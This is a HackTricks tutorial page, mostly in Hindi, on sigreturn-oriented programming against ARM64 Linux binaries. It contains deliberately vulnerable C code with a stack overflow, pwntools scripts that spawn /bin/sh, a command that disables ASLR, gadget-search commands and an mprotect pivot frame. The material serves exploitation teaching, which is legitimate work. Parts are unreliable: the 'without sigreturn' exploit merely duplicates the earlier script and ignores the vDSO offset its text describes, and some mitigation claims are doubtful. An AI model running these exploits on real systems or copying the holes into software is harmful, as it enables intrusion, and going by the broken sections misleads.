> [!TIP]

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Pwntools उदाहरण

यह उदाहरण कमजोर बाइनरी बना रहा है और इसका शोषण कर रहा है। बाइनरी स्टैक में पढ़ता है और फिर sigreturn को कॉल करता है:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof उदाहरण

कोड

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

इसे संकलित करें:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

यह एक्सप्लॉइट bof का दुरुपयोग करता है ताकि sigreturn को कॉल करने के लिए वापस लौट सके और execve को /bin/sh के लिए एक पॉइंटर के साथ कॉल करने के लिए स्टैक को तैयार कर सके।

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof उदाहरण बिना sigreturn

कोड

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In the section vdso it's possible to find a call to sigreturn in the offset 0x7b0:

इसलिए, यदि लीक हो जाए, तो इस पते का उपयोग sigreturn तक पहुँचने के लिए किया जा सकता है यदि बाइनरी इसे लोड नहीं कर रही है:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

For more info about vdso check:

Ret2vDSO

And to bypass the address of /bin/sh you could create several env variables pointing to it, for more info:

ASLR


Finding sigreturn gadgets automatically (2023-2025)

आधुनिक वितरणों पर sigreturn ट्रम्पोलिन अभी भी vDSO पृष्ठ द्वारा निर्यात किया जाता है लेकिन सटीक ऑफसेट कर्नेल संस्करणों और निर्माण ध्वज जैसे BTI (+branch-protection) या PAC के बीच भिन्न हो सकता है। इसकी खोज को स्वचालित करना ऑफसेट को हार्ड-कोड करने से रोकता है:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

दोनों उपकरण AArch64 एन्कोडिंग को समझते हैं और संभावित mov x8, 0x8b ; svc #0 अनुक्रमों को सूचीबद्ध करेंगे जिन्हें SROP गेजेट के रूप में उपयोग किया जा सकता है।

नोट: जब बाइनरी को BTI के साथ संकलित किया जाता है, तो हर मान्य अप्रत्यक्ष शाखा लक्ष्य का पहला निर्देश bti c होता है। लिंक द्वारा रखे गए sigreturn ट्रैम्पोलिन पहले से ही सही BTI लैंडिंग पैड शामिल करते हैं, इसलिए गेजेट अप्रिविलेज्ड कोड से उपयोगी रहता है।

ROP के साथ SROP को चेन करना (pivot mprotect के माध्यम से)

rt_sigreturn हमें सभी सामान्य-उद्देश्य रजिस्टर और pstate को नियंत्रित करने की अनुमति देता है। x86 पर एक सामान्य पैटर्न है: 1) mprotect को कॉल करने के लिए SROP का उपयोग करें, 2) शेल-कोड वाले नए निष्पादन योग्य स्टैक पर पिवट करें। वही विचार ARM64 पर भी काम करता है:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

फ्रेम भेजने के बाद आप 0x400000+0x100 पर कच्चे शेल-कोड को शामिल करते हुए एक दूसरा चरण भेज सकते हैं। क्योंकि AArch64 PC-relative एड्रेसिंग का उपयोग करता है, यह अक्सर बड़े ROP चेन बनाने की तुलना में अधिक सुविधाजनक होता है।

कर्नेल मान्यता, PAC & शैडो-स्टैक्स

Linux 5.16 ने उपयोगकर्ता स्पेस सिग्नल फ्रेम की सख्त मान्यता पेश की (कमिट 36f5a6c73096)। कर्नेल अब जांचता है:

  • uc_flags में UC_FP_XSTATE होना चाहिए जब extra_context मौजूद हो।
  • struct rt_sigframe में आरक्षित शब्द शून्य होना चाहिए।
  • extra_context रिकॉर्ड में हर पॉइंटर संरेखित है और उपयोगकर्ता एड्रेस स्पेस के अंदर इंगित करता है।

pwntools>=4.10 स्वचालित रूप से अनुपालन फ्रेम बनाता है, लेकिन यदि आप उन्हें मैन्युअल रूप से बनाते हैं तो सुनिश्चित करें कि reserved को शून्य-प्रारंभ करें और SVE रिकॉर्ड को छोड़ दें जब तक कि आपको वास्तव में इसकी आवश्यकता न हो—अन्यथा rt_sigreturn SIGSEGV देगा बजाय इसके कि लौटे।

मुख्यधारा Android 14 और Fedora 38 से शुरू होकर, उपयोगकर्ता भूमि को डिफ़ॉल्ट रूप से PAC (Pointer Authentication) और BTI सक्षम करके संकलित किया गया है (-mbranch-protection=standard)। SROP स्वयं अप्रभावित है क्योंकि कर्नेल सीधे निर्मित फ्रेम से PC को ओवरराइट करता है, स्टैक पर सहेजे गए प्रमाणित LR को बायपास करता है; हालाँकि, कोई भी पश्चात ROP चेन जो अप्रत्यक्ष शाखाएँ करती है, उसे BTI-सक्षम निर्देशों या PACed पतों पर कूदना चाहिए। जब गैजेट्स का चयन करें तो इसे ध्यान में रखें।

ARMv8.9 में पेश किए गए शैडो-काल-स्टैक्स (और पहले से ही ChromeOS 1.27+ पर सक्षम) एक संकलक-स्तरीय शमन हैं और SROP में हस्तक्षेप नहीं करते हैं क्योंकि कोई लौटने वाले निर्देश निष्पादित नहीं होते—नियंत्रण का प्रवाह कर्नेल द्वारा स्थानांतरित किया जाता है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें